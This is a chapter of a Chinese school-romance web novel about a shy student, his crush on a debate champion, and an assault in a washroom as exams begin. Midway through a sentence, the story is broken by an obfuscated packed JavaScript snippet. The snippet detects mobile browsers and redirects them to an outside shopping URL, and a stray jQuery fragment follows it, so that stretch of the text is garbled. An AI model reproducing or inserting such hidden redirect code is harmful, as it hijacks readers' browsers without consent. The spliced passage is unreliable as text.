章致谨趁课余时间去了趟基地打理向日葵，松了土浇完水，蹲着静静看了会儿，忽然听见一道脚步声逐渐靠近。


    是卓煜熠。他暗暗捏紧搭在腿上的手，假装毫无察觉，拿起喷壶继续装模作样摆弄。


    “原来杂草是你种的啊。”


    章致谨手抖得差点把向日葵给淹了，瞠着发直的目光扭头望她。


    她怎么注意到杂草了？她应该不会猜到其中的意味吧？


    “我说谁这么好心，还特意种杂草，是你的话倒也不奇怪了。”说完话，卓煜熠把巧克力棒棒糖重新送回嘴里。


    “闲得无聊就顺手种了。”


    她似乎本打算再说什么，刚发出一个音节就被远处的呼唤打断。


    “熠姐！”


    “煜煜！”


    “这边这边！快来看！”


    “吃不吃辣条！”


    卓煜熠挥手回应，边后退边含糊不清提醒：“记得啊，有空等会儿来看辩论赛。”


    章致谨不记得自己回答了还是点头了，人已经不在状态，满脑子都是刚才听到的昵称。


    以前朗读课文时，每次读“熠熠生辉”他都会不好意思，尴尬中混着些微羞恼，怀疑自己念的正好是她的小名。


    她真正的小名是什么？熠熠还是煜煜？还是什么和名字无关的特殊称谓？


    她家人是怎么喊的？她的竹马私下又念着什么字？


    他这辈子有可能有资格光明正大地喊她的小名吗？


    这些见不得光的念想在他识海盘旋了大半天，直到踏入辩论赛现场才勉强消停，注意力落回当下。


    卓煜熠不知道，其实去年的辩论赛他也看过了，他从不错过任何一次能长久且光明正大注视她的机会。


    章致谨和杨青松来到本班同学集中区域，找了个角度较好的位置坐，边等待着，他目光静静随着从身边经过的人移动。


    他另一边位置一直空着，至少班里其他人都刻意远离，好像靠得近了也会被怀疑作弊似的。


    杨青松显然也注意到情况，嘴巴一刻不停叽叽喳喳讲话，生怕他会猜到大家的想法而难过。


    章致谨内心没什么波澜，但也不好拂了他的好意，也就一句句应着，感觉头一回一次性讲这么多话。


    直到主持人拿起话筒控场，宣布比赛开始时，他才松了一口气，总算能让嘴巴歇歇了。


    辩手们穿着清一色的黑西装入场，卓煜熠走在最前头，散漫又利落，宽松笔挺西装愣是穿成休闲风。


    校内组织的辩论赛自由度极高，形式五花八门，辩题千奇百怪。这次比赛也是刺激来劲的即兴辩论，当场抽签分正反方和抽辩题，在极限时间内组织语言上场开打。


    很快辩题新鲜出炉——预料到没有好结局而选择永远不说出暗恋到底算考虑周全有分寸还是不够喜欢。


    正反方瞬间想到的各种观点在脑袋里溜一圈，齐声哀嚎，崩溃抱头。


    “哪个大聪明想的辩题，要死啊！”


    “谁敢讲？肯定也不是否定也不是。”


    “是不是哪个间谍领江佟授意来试探我们？”


    “辩着辩着一帮老师冲进来把我们当早恋重点怀疑对象全抓了。”


    “到时候正方一巴掌，挑唆表白的反方更是降龙十八掌。”


    卓煜熠摸着袖口纽扣，眼皮抽动，百思不得其解的苦闷犯愁样一览无余，章致谨无声笑了笑。


    这种题着实有点难为她这个没有感情经验的人了。


    “嗨嗨致谨，你居然来看比赛了。”


    章致谨迅速收回特定方向的视线，微笑点头，目睹白灵睿占领了与他间隔一个位置的席位，邓梅钰面无表情紧挨着她落座。


    “不好意思啊我有点感冒，不敢离你太近，传染你就麻烦了。”


    “没事，我倒没想到你会来。”


    白灵睿弯腰捂嘴打了个喷嚏，咳了两声：“煜熠和望熹的比赛我肯定要来看的，作业写不完都得来。


    “对了，你那边没事了吧？成绩没有被取消，看来是解决好了？幸好煜熠能帮你作证，我也相信你才不是那种人。”


    章致谨微怔，也回以和气的笑：“谢谢你。”


    大概辩题比较贴近同学们的心事，这场辩论赛格外激烈。


    卓煜熠身为三辩肩负重任，慷慨激昂滔滔不绝，挽高单边衣袖疯狂质询追击抓正方漏洞，听得无数观众热血沸腾，忍不住掏出手机，想趁天时地利人和告白的冲动不断攀升。


    四辩高望熹则笑吟吟四两拨千斤，在不离核心立场前提下收住理智敲打，夹枪带棒警告不能早恋，毫不留情泼冷水。


    两人的配合所向无敌，打得正方和观众们怀疑人生。


    章致谨一动不动坐着，目光描着卓煜熠的身形在脑海里画出一张张速写。


    他似乎适合去正方辩一辩，但他不善言辞，也不可能说出口，特别是在卓煜熠面前，简直像在狡辩。


    他的感情又算什么好东西？如今能被看见全靠那点算计，利用卓煜熠的心事和秘密，连正方的内涵都不符合。


    一站在卓煜熠对面，他就知道自己会输。


    激烈但不尖锐的辩论有来有回打了个酣畅淋漓，最后卓煜熠所在的反方以不大的优势拿到了更高票数赢了比赛，显然在这一问题上观众们也各执一词，难有共同想法。


    卓煜熠老早就瞧见了白灵睿，比赛结束换回校服后小跑过来找人。


    “你居然也来了，我还以为你要泡在图书馆里好好学习呢。”


    “你的比赛我当然不能错过。”白灵睿鼻尖都被擦红了，皱了皱眉，又连打两个喷嚏。


    “感冒怎么这么严重？去看过了吗？”


    听到这话，一直当透明人沉默的邓梅钰宛如被激活程序，开始劈里啪啦抱怨：“她都感冒一周了还没好，让她吃药就是不吃，真的是，就没见过这么倔的。”


    “嗨呀不行，”白灵睿吸了吸发堵的鼻子，擦掉挤出眼尾的一点泪，瓮声瓮气解释，“感冒药我吃了犯困，会影响上课和自习的。”


    卓煜熠拉起她冰冷的手用力搓搓：“怎么不睡前吃？”


    “也不行，睡前吃我第二天早上根本起不来，上课也没精神，我高一时已经吸取教训了。”


    “你这样学习也太拼了吧，身体都熬坏了。”


    白灵睿闷笑摇摇头，一脸不在意：“哪有那么夸张，也没多不舒服，反正快好了，不是多大的事。”


    “那周末一定要吃药听见没？”


    “当然当然，回家肯定好好睡觉。”


    和两人聊完，卓煜熠又逮住路过的闻书声揽过来捏捏脸：“好久不见啊书声，你每天焊在位子上埋头苦读，我去你们班都不好意思打扰你。”


    “我怕赶不上进度嘛，不会打扰的，其实我有时候只是在发呆……”


    “那我下次给你带零食，今天的辩论你听完后选哪一边？”卓煜熠撞撞她的肩好奇八卦。


    “我跟你们想的一样。”


    “是吧！以后有空要不要来辩论队玩？不想打比较大的比赛也可以就在队内和不同小组切磋，自己独角戏演八个人互辩也很有意思。”


    闻书声头摇得快飞出去：“不了不了，我不擅长，我连跟人讲话都害怕。”


    “好吧，那我多练练，以后你有麻烦我替你吵，保证百战百胜。”卓煜熠推着这几个人离场，沿路撒网捕捞似的嘻嘻哈哈招呼来更多熟悉的同学，一起回教学楼。


    上楼时一群人拥挤着笑闹，卓煜熠放慢脚步拖延时间，等到落后几米远的人越来越近。


    “看完辩论有觉得心情痛快点吗？”


    “……还好。”


    完全没有。


    章致谨甚至不敢直视与他间隔四阶的手插衣兜的挺拔身影，在心里用沉重的声音回答真话，无言垂低眼帘，余光从她翘着的嘴角滑到蹭了一小片锈迹的球鞋上。


    他只感觉被她指桑骂槐呛了一顿，心情怎么舒畅得起来。


    眼前的卓煜熠校服外套上有零星水笔画痕，一笔一划，好像也拼凑出了诘问径直刺向他。


    他和大家一样想知道究竟是谁出的辩题，该不会有人，最可怕的情况是孟堂，看出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654879|182520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了什么，才想出这个辩题来试探。


    “那就好，”卓煜熠大概没发现他的口是心非，摸出个巧克力拆了吃，转身继续迈步往上，“走吧，回班了。”


    熟悉的包装在窗外天光的照映下微微反光，章致谨呼吸一滞。


    转念思索后他紧跟上前主动开口，故作错愕：“这个牌子……运动会上给我塞巧克力的是你吗？”


    卓煜熠腮帮子被巧克力戳出个略尖的凸起，闻言她没什么反应，稍稍歪头，镇定的灰绿色轻飘飞来。


    “是啊。”很坦荡地承认了。


    “为什、你怎么……因为我低血糖？你怎么知道的……”


    “因为你长得可爱，我挺喜欢的，跟踪你好多年了，所以手机里全是你的信息资料，书房贴满你的照片，想不想去我家亲眼看看啊？”卓煜熠掐着冷飕飕的阴间语调打趣，眯起的眼中两轮灰绿压暗。


    “……”章致谨差点踩空失衡，连忙攥紧扶手稳住。


    “吓到了？不想被我跟踪的话晚修放学可要早点回家啊。”


    章致谨咬牙切齿忍着快涌上脸的热，抬头瞪去毫无杀伤力的虚弱怒视。


    偏偏开这种玩笑，偏偏他心里又最清楚有多假，一丝真都没掺。


    明明她最近才认得他，连他下巴有痣都能看岔，也亲口承认过以前没注意过第二名。


    卓煜熠在目不转睛观察他的反应，很快仰头笑：“果然很好玩。”


    笑得那高高竖起的外套衣领上的拉链都晃个不停，5和7。


    章致谨恨恨板了脸继续跟上她，忍不住咕哝：“你经常跟别人开这种玩笑吗，也不怕他们当真了到处乱传，说你喜欢他们。”


    “我当然见人说人话见鬼说鬼话，你不是那种人，喏，还吃吗？”又一块巧克力递来。


    “不了，谢谢。”


    “唉拿着拿着，刚才吓到你了，当赔礼道歉，不过后面那句是认真的，晚上早点回家。”


    “好，知道了，谢谢你。”


    章致谨接过巧克力揣进兜里轻轻握住，试图留住记住上面残存的一丝卓煜熠掌心的温度。


    走到昏暗拐角处时他抬起头，定定凝望她轻快往上的身影和在她后背浮动的窗外清光。


    寒风吹着催着时日匆忙往前，一恍神，十二月月考来临。


    “这次是八校联考，附中、一中、四中和其它市的几所顶尖高中一起考，学校非常重视，它是展现我们水平的重要机会。


    “一中就不用多说了，另外几所学校也都非常有实力，你们努力备考，给学校给我们市争光。”


    所有人严阵以待，每逢大事必迷信，课间纷纷拉上朋友去拜孔子像。


    孔霖兴冲冲买了一堆东西，卓煜熠帮她拎，一起招呼了连崎等人，最后把根本不信这个的高望熹也拖走了。


    “啊，我们来晚了。”孔霖看仇人般瞪着孔子像前的满满当当的花和零食，气得跺脚，嘴里白雾腾腾冒个不停，从小孔雀变成烧水壶。


    “这么多人都拜过，孔子估计没工夫搭理我的愿望了。”


    “那你说点惊天动地的，破窗效应嘛，再往里面夹点真愿望，就容易被注意到了。”卓煜熠绕着高望熹转，往地上拼命吹白雾，试图给她搞个仙气飘飘特效。


    “好主意！”孔霖摆上自己的零食，双手合十虔诚祈愿，“这次联考——我要超越煜熠！我要进步，我要超越煜熠，我要进步……”


    祈求着许愿着，八校联考如期开始。


    章致谨在打铃开考前几分钟离开考场去趟卫生间。


    这个点没什么人，只有一个陌生的大黑高个正在洗手。


    走近了后，章致谨发现池底塞子没打开，池子里几乎蓄满水，像水库、湖泊，像一片大海。


    他条件反射地起鸡皮疙瘩，竭力压下害怕不安走向旁边的水池。


    那陌生同学对着镜子整两下发型，转身就走，经过他背后。


    章致谨没在意，洗完手正要关水龙头，忽然后脑勺一痛，眼前场景呼啸着变形，接着冷凉刺痛吞没整张脸，熟悉的溺水感觉真实复现。